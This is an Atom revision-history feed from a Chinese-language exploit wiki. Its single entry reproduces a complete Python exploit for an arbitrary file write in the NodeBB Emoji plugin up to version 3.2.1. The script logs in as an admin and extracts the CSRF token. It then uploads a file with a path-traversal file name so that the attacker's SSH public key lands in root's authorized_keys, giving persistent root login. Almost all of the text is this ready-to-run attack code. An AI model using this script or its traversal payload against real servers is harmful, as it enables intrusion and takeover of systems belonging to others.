<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=NodeBB_Plugin_Emoji_3.2.1_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%AF%AB%E5%85%A5%E6%BC%8F%E6%B4%9E</id>
	<title>NodeBB Plugin Emoji 3.2.1 任意文件寫入漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=NodeBB_Plugin_Emoji_3.2.1_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%AF%AB%E5%85%A5%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=NodeBB_Plugin_Emoji_3.2.1_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%AF%AB%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-07T22:17:29Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=NodeBB_Plugin_Emoji_3.2.1_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%AF%AB%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=1944&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: NodeBB Plugin Emoji 3.2.1 - Arbitrary File Write # Date: 2021-02-01 # Exploit Author: 1F98D # Software Link: https://nodebb.org/ # Version: Emoj...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=NodeBB_Plugin_Emoji_3.2.1_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%AF%AB%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=1944&amp;oldid=prev"/>
		<updated>2021-04-30T00:56:58Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: NodeBB Plugin Emoji 3.2.1 - Arbitrary File Write # Date: 2021-02-01 # Exploit Author: 1F98D # Software Link: https://nodebb.org/ # Version: Emoj...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: NodeBB Plugin Emoji 3.2.1 - Arbitrary File Write&lt;br /&gt;
# Date: 2021-02-01&lt;br /&gt;
# Exploit Author: 1F98D&lt;br /&gt;
# Software Link: https://nodebb.org/&lt;br /&gt;
# Version: Emoji for NodeBB &amp;lt;= v3.2.1&lt;br /&gt;
# Tested on: Ubuntu 18.04 (x86)&lt;br /&gt;
# Software Link: https://github.com/NodeBB/nodebb-plugin-emoji&lt;br /&gt;
#&lt;br /&gt;
# The Emoji for NodeBB which is installed by default contains an&lt;br /&gt;
# arbitrary file write vulnerability to insecurely handled user controlled&lt;br /&gt;
# input.&lt;br /&gt;
#&lt;br /&gt;
# This exploit requires administrative access to the NodeBB instance in order&lt;br /&gt;
# to access the emoji upload API.&lt;br /&gt;
# &lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
import requests&lt;br /&gt;
import sys&lt;br /&gt;
import re&lt;br /&gt;
TARGET = 'http://192.168.1.1:4567'&lt;br /&gt;
USERNAME = 'admin'&lt;br /&gt;
PASSWORD = 'password'&lt;br /&gt;
DESTINATION_FILE = '/root/.ssh/authorized_keys'&lt;br /&gt;
SOURCE_FILE = '/home/kali/.ssh/id_rsa.pub'&lt;br /&gt;
headers = { 'User-Agent': 'NotPython' }&lt;br /&gt;
s = requests.Session()&lt;br /&gt;
r = s.get('{}/login'.format(TARGET), headers=headers)&lt;br /&gt;
if r.status_code != 200:&lt;br /&gt;
    print('[!] Error, {}/login unavailable'.format(TARGET))&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
csrf = re.search('name=&amp;quot;_csrf&amp;quot; value=&amp;quot;(.+)?&amp;quot; /&amp;gt;', r.text, re.IGNORECASE)&lt;br /&gt;
if csrf is None:&lt;br /&gt;
    print('[!] Could not extract csrf token to proceed.')&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
auth = {&lt;br /&gt;
    'username': USERNAME,&lt;br /&gt;
    'password': PASSWORD,&lt;br /&gt;
    '_csrf': csrf.group(1)&lt;br /&gt;
}&lt;br /&gt;
r = s.post('{}/login'.format(TARGET), headers=headers, data=auth)&lt;br /&gt;
if r.status_code != 200:&lt;br /&gt;
    print('[!] Error, login failed')&lt;br /&gt;
    print('[!] Status: {}'.format(r.status_code))&lt;br /&gt;
    print('[!] Response: {}'.format(r.text))&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
print('[+] Login successful')&lt;br /&gt;
r = s.get('{}/admin/plugins/emoji'.format(TARGET), headers=headers)&lt;br /&gt;
if r.status_code != 200:&lt;br /&gt;
    print('[!] Error, could not access emoji plugin')&lt;br /&gt;
    print('[!] Status: {}'.format(r.status_code))&lt;br /&gt;
    print('[!] Response: {}'.format(r.text))&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
print('[+] Emoji plugin is installed')&lt;br /&gt;
files = {&lt;br /&gt;
    'emojiImage': open(SOURCE_FILE)&lt;br /&gt;
}&lt;br /&gt;
data = {&lt;br /&gt;
    'fileName': '../../../../../../..{}'.format(DESTINATION_FILE)&lt;br /&gt;
}&lt;br /&gt;
r = s.post('{}/api/admin/plugins/emoji/upload'.format(TARGET), headers=headers, data=data, files=files)&lt;br /&gt;
if r.status_code != 200:&lt;br /&gt;
    print('[!] Error, could not upload file')&lt;br /&gt;
    print('[!] Status: {}'.format(r.status_code))&lt;br /&gt;
    print('[!] Response: {}'.format(r.text))&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
print('[+] Successfully uploaded file')&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>